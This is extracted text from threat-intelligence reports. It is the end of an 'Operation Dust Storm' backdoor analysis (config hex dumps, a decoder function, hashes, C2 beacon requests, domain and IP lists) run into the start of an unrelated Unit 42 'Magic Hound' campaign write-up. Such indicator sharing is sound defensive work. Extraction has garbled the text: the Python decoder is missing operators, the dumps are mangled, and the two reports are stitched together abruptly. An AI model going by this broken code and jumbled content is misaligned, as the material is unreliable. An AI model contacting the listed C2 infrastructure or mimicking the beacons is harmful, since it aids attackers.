0000EA40 39 31 78 3D 39 37 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 91x97ZZZZZZZZZZ 0000EA50 5A 5A 5A 5A 0A 5A E5 5B CA 49 5A 5A 5A 5A 5A 5A ZZZZ.Z[IZZZZZZ 0000EA60 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A ZZZZZZZZZZZZZZZZ 0000EA70 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A ZZZZZZZZZZZZZZZZ 0000EA80 5A 5A 5A 5A 43 4F D3 5A 5A 5A 5A 5A 5A 5A 5A 5A ZZZZCOZZZZZZZZZ Figure 21: Encoded Configuration Block 0000EA00 29 68 74 74 70 3A 2F 2F 73 73 6C 2E 70 72 6F 6A )hxxp://ssl.proj 0000EA10 65 63 74 73 63 6F 72 70 2E 6E 65 74 2F 70 69 63 ectscorp.net/pic 0000EA20 2F 69 6E 64 65 78 2E 61 73 70 00 00 00 00 00 00 /index.asp...... 0000EA30 00 00 00 00 11 70 69 63 2E 65 6C 65 63 61 72 72 .....pic.elecarr 0000EA40 6F 77 2E 63 6F 6D 00 00 00 00 00 00 00 00 00 00 ow.com.......... 0000EA50 00 00 00 00 50 00 BB 01 90 1F 00 00 00 00 00 00 ....P......... 0000EA60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000EA70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000EA80 00 00 00 00 19 15 89 00 00 00 00 00 00 00 00 00 ...............
Figure 22: Decoded Configuration Block Text strings in the decoded block are each prefaced by their length in hex.
In addition to the URL hxxp://ssl.projectscorp.net/ pic/index.asp and the domain pic.elecarrow.com, the ports that attempt to beacon on 80, 443, and 8080 are highlighted in green, blue, and purple respectively.
The following Python function can be used to decode these configuration blocks.
def sub_single_byte_xor(buf,subb, key): out for i in buf: out chr((ord(i)-subb) key) return out sub_single_byte_xor(buf,0x2,0x58) Figure 23: Python Script to Decode w-Type Configuration Data 50 00 BB 01 90 1F ZLIB BACKDOOR (2014-2015) This backdoor was the preferred second-stage implant for the group throughout 2014 and 2015.
The malware was a full- featured backdoor with built-in NTLM proxy authentication support which was designed to be run as a ServiceDLL.
Each sample SPEAR identified was customized to the specific victim environment and programmed using Microsoft Visual C 6.
As a result, our team has included hashes of samples that were modified to redact victim information.
SPEAR has provided as much information as possible so other victims can identify incidents.
FILE CHARACTERISTICS Modified SHA256 File Size Compile Time 73bc9650ab7871340ef1a6f68dfa71a650 2b9d9bee85181666da17a63a74178a 143,872 Bytes 1/23/2015 3:22:25 UTC 8cf3152169f3d7e05734b6b562752a0 0d566c4ea830c455ea094fa19dec4423c 136,702 Bytes 1/05/2015 01:14:50 UTC bbc6d1b87352c3ae109b2c6c97baaf75 6b66378b6af8dbd7387229d04fc0b14 134,144 Bytes 1/16/2015 3:21:31 UTC b4405f0caff1b786612aabbaa7431993f 44c83a2c8f8c0946a980da9c0c09156 108,032 Bytes 1/23/2015 3:23:06 UTC 85b80ed2aa871257f293a074d80eb64a 621ec74ec70c0cf1703f5f5adab23a67 113,664 Bytes 1/05/2015 01:18:15 UTC Figure 24: Shareable File Characteristics Additional File Details: Exports the functions DriverDev, DriverInit, DriverLaunch, DriverProc Mimics the resource version information of a legitimate Realtek Semiconductor Module, or Nvidia Module, or Synaptics module PE checksum of zero HOST-BASED INDICATORS File System Modifications: All observed backdoor locations: WINDIR\system32\cryptpol.dll All Users AppData\cryptpol.dll All Users AppData\wdd.ocx All Users AppData\athmgmt.dll All Users AppData\rasctl.dll All Users AppData\rtcomdll.dll All Users AppData\msnt.dll May create randomly named temporary files in AppData ending in .tmp May create temporary files in the temp directory that begin with the letters tmp Registry Modifications: Will create all necessary keys to configure the backdoor to run as a ServiceDLL, including redefining ServiceMain to point to another of the backdoors exported functions - all observed service names are below: CryptPol Cryptography Policy Control Service AtherosMgMt Atheros Communications Management Service WDDSVC Windows Display Driver RASCtrl Remote Access Control Center 18 OPERATION DUST STORM 19OPERATION DUST STORM 00000320 FF FF FF FF 61 F6 90 7C 4E 6A DD 77 87 6A DD 77 aNjwjw 00000336 D4 B2 B8 00 03 00 00 80 FC 00 00 00 18 00 00 00 ........... 00000352 FC 00 00 00 8C B2 B8 00 40 00 00 00 00 00 00 00 ........... 00000368 00 00 00 00 8A 00 8A 00 D4 B2 B8 00 88 B2 B8 00 ........ 00000384 00 00 00 00 18 B2 B8 00 84 B2 B8 00 DC FF B8 00 ........ 00000400 78 17 DF 77 90 6A DD 77 FF FF FF FF 87 6A DD 77 x.wjwjw 00000416 95 6B DD 77 13 BD 00 00 A8 B2 B8 00 8B 70 DD 77 kw....pw 00000432 00 01 00 00 9C B2 B8 00 C0 B2 B8 00 D4 BA B8 00 ....... 00000448 B8 B2 B8 00 B0 B2 B8 00 00 08 00 00 72 00 00 00 ......r... 00000464 00 00 00 00 1A 00 1C 00 FA CF 90 7C 03 6C DD 77 .........lw 00000480 00 01 00 00 00 00 00 00 BC B2 B8 00 AB 6C DD 77 .........lw 00000496 C4 B2 B8 00 A8 CD B8 00 7A DD 00 10 00 00 00 00 ..z...... 00000512 58 FC B3 00 70 50 02 10 00 00 00 00 53 00 2D 00 X.pP......S.-.
00000528 31 00 2D 00 35 00 2D 00 31 00 38 00 89 5D 95 10 1.-.5.-.1.8.
].
00000544 1C 01 00 00 05 00 00 00 01 00 00 00 28 0A 00 00 ............(... 00000560 02 00 00 00 53 00 65 00 72 00 76 00 69 00 63 00 ....S.e.r.v.i.c.
00000576 65 00 20 00 50 00 61 00 63 00 6B 00 20 00 33 00 e. .P.a.c.k.
.3.
00000592 00 00 5C 00 43 00 75 00 72 00 72 00 65 00 6E 00 ..\.C.u.r.r.e.n.
00000608 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 t.V.e.r.s.i.o.n.
00000624 5C 00 49 00 6E 00 74 00 65 00 72 00 6E 00 65 00 \.I.n.t.e.r.n.e.
00000640 74 00 20 00 53 00 65 00 74 00 74 00 69 00 6E 00 t. .S.e.t.t.i.n.
00000656 67 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 g.s............. ---Truncated--- 00000816 00 00 00 00 03 00 00 00 00 01 01 00 00 00 00 00 ................ 00000832 53 00 59 00 53 00 54 00 45 00 4D 00 00 00 00 00 S.Y.S.T.E.M..... --Truncated--- 00001264 00 00 00 00 00 00 00 00 00 00 00 00 E0 B5 B8 00 ............. 00001280 99 51 91 7C 08 B6 B8 00 E4 00 08 00 04 00 00 00 Q......... 00001296 D4 00 08 00 00 00 08 00 20 B6 B8 00 8B 53 91 7C ....... .S 00001312 08 B6 B8 00 D4 00 08 00 00 00 00 00 10 00 00 00 ............. 00001328 00 00 00 00 A4 B6 B8 00 7A CF 90 7C 7B 8B 91 7C .....z 00001344 FF FF FF FF 40 B6 B8 00 01 00 00 00 D7 07 00 00 ........
Figure 26: Decompressed Contents of Initial POST Request The hostname, context the backdoor was running under, operating system information, and user information were transmitted back to the C2 during a controlled test.
DETAILS Anecdotal evidence suggests the attackers made few modifications to the backdoors themselves and instead simply updated the configuration information as needed.
As a result, most of the backdoors identified had a PE checksum mismatch between the stated value and calculated value.
The backdoor provided the attacker with the ability to upload and download files, enumerate files and drives, enumerate system information, enumerate and manipulate Windows services, enumerate and impersonate logon sessions, mimic keystrokes and mouse input, capture screenshots, and execute shell commands.
The backdoor itself contained very few unique plain-text strings or any other type of identifying information outside of the Import Table.
The backdoor would initialize strings of interest on the stack by pushing one character at a time this method has become increasingly common among malware authors to avoid antivirus heuristic methods.
The backdoors configuration information was stored Zlib compressed within the binary with the size of the compressed data saved as a double word right before the start of the header 0x78 0x9C.
The decompressed data contained the Windows service name, Windows display NETWORK-BASED INDICATORS The backdoor communicates to the preconfigured C2 servers via HTTP POST and GET requests.
The contents of the communications are compressed using the standard Zlib compression library (http://www.zlib.net/).
During SPEARs limited testing, the User-Agent was always static and set to Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1).
POST /EKTV/index.php?id0 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1) Host: bcsr.wordoscorp.com Accept: / Cache-Control: no-cache Connection: Keep-Alive Content-Length: 498 POST /EKTV/index.php?id3580792616 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1) Host: bcsr.wordoscorp.com Accept: / Cache-Control: no-cache Connection: Keep-Alive Content-Length: 490 Figure 25: Initial POST Requests Sent by the Zlib Backdoor 00000000 1C 12 00 00 1E 12 00 00 FF FF FF FF 40 05 00 00 ........... 00000016 FE CD 18 9C 55 00 53 00 45 00 52 00 2D 00 44 00 .U.S.E.R.-.D.
00000032 36 00 39 00 32 00 31 00 46 00 36 00 32 00 31 00 6.9.2.1.F.6.2.1.
00000048 35 00 00 00 DA D2 90 7C DC FF B8 00 20 E9 90 7C 5.... 00000064 68 F6 90 7C FF FF FF FF 61 F6 90 7C EE D4 DD 77 haw 00000080 00 00 00 00 E0 CC B8 00 00 00 00 00 F9 D4 DD 77 .........w 00000096 00 00 00 00 00 00 00 00 FC 00 00 00 00 00 00 00 ............... 00000112 20 00 00 00 00 00 00 00 9E 7E E5 14 52 55 D1 01 ........RU.
00000128 00 00 00 00 10 00 00 00 53 00 2D 00 31 00 2D 00 ........S.-.1.-.
00000144 35 00 2D 00 9C B2 B8 00 6E D9 90 7C DC B1 B8 00 5.-..n. 00000160 98 B1 B8 00 5C F6 90 7C 61 F6 90 7C DC B1 B8 00 .\a.
00000176 6E D9 90 7C 9C B2 B8 00 74 B1 B8 00 7A D9 90 7C n.t.z 00000192 DC FF B8 00 20 E9 90 7C 68 F6 90 7C FF FF FF FF .
h 00000208 61 F6 90 7C EB 6F DD 77 34 00 00 C0 00 00 00 00 aow4...... 00000224 D4 BA B8 00 F6 6F DD 77 C0 B2 B8 00 00 01 00 00 .ow..... 00000240 B8 B2 B8 00 B0 B2 B8 00 00 01 00 00 D4 BA B8 00 ....... 00000256 DC B1 B8 00 00 00 00 00 00 00 00 00 00 00 00 00 ............. 00000272 34 00 00 C0 0C B2 B8 00 5C F6 90 7C 61 F6 90 7C 4....\a 00000288 00 00 00 00 8C B2 B8 00 2D F6 90 7C E8 B1 B8 00 .....-.
00000304 EC B1 B8 00 54 B2 B8 00 20 E9 90 7C 68 F6 90 7C .T.
h (cont) 20 OPERATION DUST STORM 21OPERATION DUST STORM name, and a description for the service.
It also contained the filename the backdoor would use, the domain names and ports to beacon on, and the internal corporate proxy to use.
00000000 43 00 72 00 79 00 70 00 74 00 50 00 6F 00 6C 00 C.r.y.p.t.
P.o.l.
--Truncated--- 00000060 00 00 00 00 43 00 72 00 79 00 70 00 74 00 6F 00 ....C.r.y.p.t.o.
00000070 67 00 72 00 61 00 70 00 68 00 79 00 20 00 50 00 g.r.a.p.h.y.
.P.
00000080 6F 00 6C 00 69 00 63 00 79 00 20 00 43 00 6F 00 o.l.i.c.y.
.C.o.
00000090 6E 00 74 00 72 00 6F 00 6C 00 20 00 53 00 65 00 n.t.r.o.l.
.S.e.
000000A0 72 00 76 00 69 00 63 00 65 00 00 00 00 00 00 00 r.v.i.c.e....... 000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ --Truncated--- 00000120 00 00 00 00 00 00 00 00 00 00 00 00 50 00 72 00 ............P.r.
00000130 6F 00 76 00 69 00 64 00 65 00 20 00 74 00 68 00 o.v.i.d.e.
.t.h.
00000140 65 00 20 00 70 00 6F 00 6C 00 69 00 63 00 79 00 e. .p.o.l.i.c.y.
00000150 2D 00 62 00 61 00 73 00 65 00 64 00 20 00 62 00 -.b.a.s.e.d.
.b.
00000160 61 00 73 00 69 00 63 00 20 00 63 00 72 00 79 00 a.s.i.c.
.c.r.y.
00000170 70 00 74 00 6F 00 67 00 72 00 61 00 70 00 68 00 p.t.o.g.r.a.p.h.
00000180 79 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 y.
.s.e.r.v.i.c.
00000190 65 00 2E 00 49 00 66 00 20 00 74 00 68 00 69 00 e...I.f.
.t.h.i.
000001A0 73 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 s. .s.e.r.v.i.c.
000001B0 65 00 20 00 69 00 73 00 20 00 73 00 74 00 6F 00 e. .i.s.
.s.t.o.
000001C0 70 00 70 00 65 00 64 00 2C 00 20 00 74 00 68 00 p.p.e.d.,.
.t.h.
000001D0 65 00 20 00 63 00 72 00 79 00 70 00 74 00 6F 00 e. .c.r.y.p.t.o.
000001E0 67 00 72 00 61 00 70 00 68 00 79 00 20 00 70 00 g.r.a.p.h.y.
.p.
000001F0 6F 00 6C 00 69 00 63 00 79 00 20 00 63 00 6F 00 o.l.i.c.y.
.c.o.
00000200 6E 00 74 00 72 00 6F 00 6C 00 20 00 73 00 65 00 n.t.r.o.l.
.s.e.
00000210 72 00 76 00 69 00 63 00 65 00 20 00 77 00 69 00 r.v.i.c.e.
.w.i.
00000220 6C 00 6C 00 20 00 6E 00 6F 00 74 00 20 00 66 00 l.l.
.n.o.t.
.f.
00000230 75 00 6E 00 63 00 74 00 69 00 6F 00 6E 00 20 00 u.n.c.t.i.o.n.
.
00000240 70 00 72 00 6F 00 70 00 65 00 72 00 6C 00 79 00 p.r.o.p.e.r.l.y.
00000250 2E 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ............. ---Truncated--- 00000380 00 00 00 00 43 00 72 00 79 00 70 00 74 00 50 00 ....C.r.y.p.t.
P. 00000390 6F 00 6C 00 2E 00 64 00 6C 00 6C 00 00 00 00 00 o.l...d.l.l..... ---Truncated--- 00000580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000590 62 63 73 72 2E 77 6F 72 64 6F 73 63 6F 72 70 2E bcsr.wordoscorp.
000005A0 63 6F 6D 00 00 00 00 00 00 00 00 00 00 00 00 00 com............. ---Truncated--- 00000680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 ...............s 00000690 50 00 00 00 6A 6E 68 73 2E 74 6F 6D 73 68 61 72 P...jnhs.tomshar 000006A0 64 70 63 2E 63 6F 6D 00 00 00 00 00 00 00 00 00 dpc.com......... ---Truncated--- 00000780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000790 00 00 00 FF BB 01 00 00 4B 54 56 59 00 EE 12 00 ......KTVY... 000007A0 5F F1 C1 54 C8 AF 00 00 D7 07 00 00 01 00 00 00 _T......... 000007B0 00 00 00 00 20 8E 01 00 5B 00 52 00 45 00 44 00 .... ..[.R.E.D.
000007C0 41 00 43 00 54 00 45 00 44 00 5D 00 00 00 00 00 A.C.T.E.D.].....
---Truncated Figure 27: Example Decoded Configuration Data APPENDIX Complete Infrastructure - All Currently Known Domains and Subdomains: 10bfym.8800.org 10kjd.amazonwikis.com 1stone.zapto.org 323332.3322.org adobekr.com adobeus.com amazonwikis.com aqyj.tomshardpc.com auto.glkjcorp.com b3fk.sfcorporation.com bdgs.amazonwikis.com bdt.wordoscorp.com bfym2.amazonwikis.com blog.adobeus.com blog.amazonwikis.com blog.sfcorporation.com blog.wih365.com books.sfcorporation.com bybf.amazonwikis.com bygs.sfcorporation.com cbgs.sfcorporation.com cdic.sfcorporation.com cxks.amazonwikis.com d2ch.sfcorporation.com dgfk.sfcorporation.com dghk.sfcorporation.com down.adobeus.com ekzy.gmnspace.com elecarrow.com en.amazonwikis.com exemail.net flash.adobeus.com fngs.adobeus.com fsw.adobeus.com gde.moviestops.com ghlc.adobeus.com glkjcorp.com gmnspace.com guhk.moviestops.com health.dns1.us hglg.wordoscorp.com hjxt.sfcorporation.com hkabinc.com hkmj.amazonwikis.com home.sfcorporation.com hsjs.wordoscorp.com hsy.moviestops.com iccbhhjdgb.adobeus.com image.amazonwikis.com image.hkabinc.com imnothk.8800.org jggs.sfcorporation.com jiaoshow.9966.org jnhs.tomshardpc.com jrfw.amazonwikis.com jrgs.sfcorporation.com js.95nb.co.cc js.adobekr.com js.amazonwikis.com js.exemail.net kb1gs.sfcorporation.com kersperskey.8800.org kj.uuvod.net krgt.tomshardpc.com lhbf.adobeus.com login.adobekr.com login.live.adobekr.com login.live.wih365.com login.wih365.com mail.adobekr.com mail.glkjcorp.com mail.projectscorp.net mailxss.9966.org mesdata.8866.org microbing.oicp.net microses.9966.org microupdate.8800.org microwmies.oicp.net mobile.yqby.wordoscorp.com mocrosoftds.xicp.net modeless.3322.org movie.sfcorporation.com moviestops.com msejake.7766.org msevpn.3322.org music.sfcorporation.com net.amazonwikis.com news.amazonwikis.com news.elecarrow.com news.sfcorporation.com nttvps.gnway.net pic.elecarrow.com pic.glkjcorp.com pic.hkabinc.com pics.adobeus.com pics.amazonwikis.com projectscorp.net qsgs.sfcorporation.com rbjg.moviestops.com rbjg.moviestops.com rbny.sfcorporation.com rbxr.tomshardpc.com rjby.tomshardpc.com rjjh.wordoscorp.com rmax.amazonwikis.com ruag.amazonwikis.com sane.adobeus.com sdj2b.3322.org sfcorporation.com sgad.sfcorporation.com showjiao.imzone.in showshow.7766.org smgs.amazonwikis.com smtp.adobekr.com sport.sfcorporation.com ssl.elecarrow.com ssl.exemail.net ssl.gmnspace.com ssl.projectscorp.net ssl.sfcorporation.com sslmails.com sybf.adobeus.com tcgs.adobeus.com tdfg.moviestops.com tech.amazonwikis.com test.uuvod.net tomshardpc.com tqsj.sfcorporation.com tzcl.sfcorporation.com tzz.exemail.net up.adobekr.com update.adobekr.com update.adobeus.com uworks.sfcorporation.com v.exemail.net video.sfcorporation.com vod.amazonwikis.com vod.sfcorporation.com vpntemp.3322.org wbjs.sfcorporation.com web.sfcorporation.com wed.amazonwikis.com wih365.com wordoscorp.com wsxg.moviestops.com www.adobeus.com www.projectscorp.net www.wih365.com wxpb.sfcorporation.com xjgs.sfcorporation.com xkgs.sfcorporation.com xrgt.tomshardpc.com xrgt.wordoscorp.com yahoo.gmnspace.com yahoomail.adobeus.com ygfk.sfcorporation.com yhkj.sfcorporation.com yjbf.amazonwikis.com yjxy.sfcorporation.com yqby.wordoscorp.com zdzl.sfcorporation.com ziper.imbbs.in zpgx.tomshardpc.com All Known IP Addresses: 108.171.240.154 111.67.199.213 111.67.199.222 112.175.69.60 112.175.69.89 112.218.71.202 113.10.139.218 113.10.168.22 113.11.202.233 114.108.150.38 116.255.131.152 118.99.37.87 118.193.163.143 120.126.134.196 120.31.68.42 123.254.111.169 124.162.53.203 124.162.53.224 125.46.42.221 126.125.35.247 126.25.172.171 126.25.201.73 173.252.201.210 175.41.23.181 203.124.12.24 203.124.12.59 210.105.192.3 210.209.116.105 210.209.117.148 210.209.117.235 210.51.13.167 211.22.125.58 211.42.249.37 218.106.246.177 218.106.246.189 218.106.246.195 218.106.246.220 218.106.246.222 218.106.246.254 218.106.247.81 23.238.229.128 27.255.72.68 27.255.72.69 27.255.72.78 59.188.13.133 59.188.13.137 22 OPERATION DUST STORM 23OPERATION DUST STORM Infrastructure by Year (First DEFINITIVE Resolution Time) 2010 C2 Infrastructure: IP Addresses: 218.106.246.195 218.106.246.220 218.106.246.254 111.67.199.213 125.46.42.221 124.162.53.224 124.162.53.203 113.11.202.233 Domains: bfym2.amazonwikis.com books.sfcorporation.com imnothk.8800.org jiaoshow.9966.org kb1gs.sfcorporation.com kersperskey.8800.org mailxss.9966.org microses.9966.org microupdate.8800.org microwmies.oicp.net mocrosoftds.xicp.net modeless.3322.org yhkj.sfcorporation.com 2011 C2 Infrastructure: IP Addresses: 218.106.247.81 218.106.246.195 218.106.246.177 218.106.246.220 125.46.42.221 173.252.201.210 120.126.134.196 120.31.68.42 Domains: .moviestops.com 323332.3322.org adobekr.com js.95nb.co.cc js.adobekr.com login.live.adobekr.com login.live.wih365.com mesdata.8866.org mocrosoftds.xicp.net msejake.7766.org msevpn.3322.org sdj2b.3322.org 2012 C2 Infrastructure: IP Addresses: 210.51.13.167 126.25.172.171 218.106.246.195 123.254.111.169 114.108.150.38 175.41.23.181 126.25.201.73 126.5.125.197 203.124.12.24 218.106.246.222 203.124.12.59 Domains: auto.glkjcorp.com gde.moviestops.com health.dns1.us mail.adobekr.com mail.glkjcorp.com nttvps.gnway.net qsgs.sfcorporation.com smtp.adobekr.com update.adobekr.com wsxg.moviestops.com wxpb.sfcorporation.com 2013 C2 Infrastructure: IP Addresses: 218.106.246.189 210.209.116.105 210.209.117.235 123.254.111.169 113.10.168.22 126.25.201.73 126.125.35.247 218.106.246.222 112.218.71.202 Domains: en.amazonwikis.com mail.projectscorp.net news.sfcorporation.com pic.elecarrow.com qsgs.sfcorporation.com rbjg.moviestops.com rbny.sfcorporation.com smtp.adobekr.com ssl.gmnspace.com ssl.projectscorp.net update.adobekr.com yahoo.gmnspace.com yahoomail.adobeus.com 2014 C2 Infrastructure: IP Addresses: 23.238.229.128 27.255.72.68 27.255.72.69 27.255.72.78 211.42.249.37 210.209.116.105 210.209.117.235 218.106.246.222 108.171.240.154 112.218.71.202 112.175.69.60 112.175.69.89 114.108.150.38 Domains: b3fk.sfcorporation.com bdt.wordoscorp.com bfym2.amazonwikis.com blog.sfcorporation.com books.sfcorporation.com bygs.sfcorporation.com cbgs.sfcorporation.com cdic.sfcorporation.com d2ch.sfcorporation.com dgfk.sfcorporation.com gde.moviestops.com guhk.moviestops.com hglg.wordoscorp.com hjxt.sfcorporation.com home.sfcorporation.com hsy.moviestops.com image.amazonwikis.com jggs.sfcorporation.com jrfw.amazonwikis.com jrgs.sfcorporation.com kb1gs.sfcorporation.com mail.projectscorp.net movie.sfcorporation.com music.sfcorporation.com news.elecarrow.com news.sfcorporation.com pic.elecarrow.com pic.glkjcorp.com pics.adobeus.com pics.amazonwikis.com qsgs.sfcorporation.com rbjg.moviestops.com rbny.sfcorporation.com ruag.amazonwikis.com sgad.sfcorporation.com smgs.amazonwikis.com sport.sfcorporation.com ssl.projectscorp.net ssl.sfcorporation.com tdfg.moviestops.com tqsj.sfcorporation.com tzcl.sfcorporation.com uworks.sfcorporation.com video.sfcorporation.com vod.sfcorporation.com wbjs.sfcorporation.com web.sfcorporation.com wed.amazonwikis.com wsxg.moviestops.com wxpb.sfcorporation.com xjgs.sfcorporation.com xkgs.sfcorporation.com yahoo.gmnspace.com ygfk.sfcorporation.com yhkj.sfcorporation.com 2015 C2 Infrastructure: IP Addresses: 113.10.139.218 126.125.35.247 27.255.72.68 218.106.246.222 210.209.116.105 210.209.117.235 118.193.163.143 114.108.150.38 210.209.117.148 118.99.37.87 Domains: ekzy.gmnspace.com hsjs.wordoscorp.com jnhs.tomshardpc.com mail.projectscorp.net news.elecarrow.com pic.glkjcorp.com rbjg.moviestops.com rjby.tomshardpc.com rjjh.wordoscorp.com ssl.exemail.net ssl.gmnspace.com ssl.projectscorp.net tzz.exemail.net up.adobekr.com v.exemail.net wih365.com yqby.wordoscorp.com zpgx.tomshardpc.com
By Bryan Lee and Robert Falcone 2/16/2017 Magic Hound Campaign Attacks Saudi Targets researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound.
This appears to be an attack campaign focused on espionage.
Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.
The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across different waves of attacks.
Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called Rocket Kitten (AKA Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters.
Artifacts of this campaign was also recently published by Secureworks CTU.
We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool.
The earliest malware sample we were able to collect had a compile timestamp in May 2016.
The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others.
It is believed the use of specific tools may have coincided with specific attack waves by this adversary, with the most recent attacks using weaponized Microsoft Office documents with malicious macros.
Due to the large amount of data collected, and limitations on attack telemetry, this blog will focus primarily on the most recent attacks occurring in the latter half of 2016.
ATTACK DETAILS The samples initially collected and associated with Magic Hound were Microsoft Word and Excel documents containing embedded malicious macros.
We were able to expand our data set by pivoting on infrastructure and tool behavior, which uncovered additional types of tools in use by Magic Hound, such as regular portable executable (PE) payloads, PE files compiled in .NET Framework, various forms of IRC bots, and an open source file-less Python remote access tool called Pupy.
The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance.
The two legitimate websites we were able to identify were owned by organizations in the government and energy sectors.
Based on the existence of these malicious files on the legitimate websites, it is highly probable that the websites had already been compromised in some fashion.
At the time of investigation, the files had already been removed from the websites.
The two other delivery sites were ntg-sa[.
]com, which may be trying to spoof a Saudi based information and communication technology conglomerate and mol.com-ho[.
]me, which may be trying to spoof the Ministry of Labor.
A third delivery site was identified at its.com-ho[.
]me which may appear to be a benign domain.
Several of these documents were also found on a seemingly unrelated, but benign-looking domain, briefl[.
]ink.
It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism.
We were ultimately able to identify multiple organizations in the government, energy, and technology sectors targeted by Magic Hound.
The weaponized documents themselves all contained malicious macros which were designed to call Windows PowerShell to retrieve additional tools.
A handful of lures with different themes were used repeatedly with variations throughout the eighteen collected documents.
They ranged from documents masquerading as official Saudi government forms to a holiday greetings card.
The forms masquerading as official government documents specifically used imagery from the Ministry of Health and the Ministry of Commerce claiming to be mandatory forms that required macros to be enabled.
Examples of the documents can be seen below: 1/19 http://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ http://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/autofocus https://github.com/n1nj4sec/pupy 2/19 INFRASTRUCTURE Analysis of the weaponized documents revealed some peculiarities right away.
The majority of documents used the name gerry knight for the author field in the document metadata, and the embedded macros largely used direct IP connections to command and control (C2) servers rather than using domain names.
These C2 servers also appeared to lack any relationships to each other and were hosted on a variety of VPS providers.
Two of the Word documents using the gerry knight author name however were found to be communicating to C2 servers on two specific domains, www1.chrome-up[.
]date and www3.chrome-up[.
]date.
Using these domains as pivot points, we were able to expand our data set.
As seen below, the relational analysis proved to be quite fruitful: 3/19 Figure 1 Overview of relationships We rapidly discovered a different set of tools communicating to the exact same C2 servers as those two Word documents, in addition to other tools communicating to other subdomain variations of chrome-up[.
]date as seen in the following graphic: 4/19 Figure 2 Command and control overlaps From there, we were able to map out a large infrastructure separating out into four categories of tools: downloaders, droppers, loaders, and payloads.
What initially appeared as a disparate and segregated attack campaign appeared very rapidly to be a persistent and prolonged attack campaign with very specific goals in mind.
In total, we were able to collect over fifty different samples via infrastructure reuse, behavioral matching, and the reuse of a specific file for maintaining persistence.
These tools included Microsoft Office documents, portable executables (PE), .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.
Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK.
Figure 3 Rocket Kitten and Magic Hound infrastructure overlap The MPK bot is not publicly available and had previously been attributed to an adversary group called Rocket Kitten which has often been thought to be a state sponsored adversary operating in the Middle East region.
Although the likelihood of two different adversaries focused on espionage operating in the same geographical region using one specific IP and not being related somehow is fairly slim, due to limited telemetry, we lack additional corroborating evidence of a conclusive relationship.
MAGIC HOUND TOOLSET The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word 5/19 documents containing malicious macros.
During our analysis, we were able to determine the ultimate payload for several of these attacks.
One payload was a Python based open source remote administration tool (RAT) called Pupy.
A second payload was an IRC bot we have named MagicHound.
Leash.
We have also seen this group use the Magic Unicorn module to generate a PowerShell script to deliver a shellcode-based payload.
While we have not been able to obtain a secondary payload from the Unicorn generated PowerShell script, we believe that this group uses the script to deliver Metasploits Meterpreter as a potential payload as well.
We have categorized the custom tools in use by the Magic Hound campaign into five categories, with corresponding names in Table 1.
Additional details for these tools may be found in the appendix.
TYPE NAME Dropper MagicHound.
|
188
|
DropIt Executable Loader MagicHound.
| 38,904
| 39,074
| 171
|
data/reports_final/0188.txt
|
DropIt Executable Loader MagicHound.
Fetch Document Loader MagicHound.
Rollover Downloader MagicHound.
Retriever IRC Bot MagicHound.
Leash Table 1 Types of MagicHound tools and their Corresponding Names MAGICHOUND.ROLLOVER The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.
Rollover.
The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server.
We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server.
The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter.
Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment one line shellcode injection with native x86 shellcode.
MAGICHOUND.FETCH In addition to loading payloads using macros within delivery documents, we observed the Magic Hound campaign using executables to load secondary payloads from a remote server.
Both a custom developed loader, which we have named MagicHound.
Fetch, as well as the default loader that comes with Pupy were found to be in use.
The Fetch loader allowed us to use attributes within the loader to uncover more tools used by this group, which included a backdoor and an IRC bot.
Fetch first attempts to create persistent access to the targeted host then retrieve a secondary payload from a remote server.
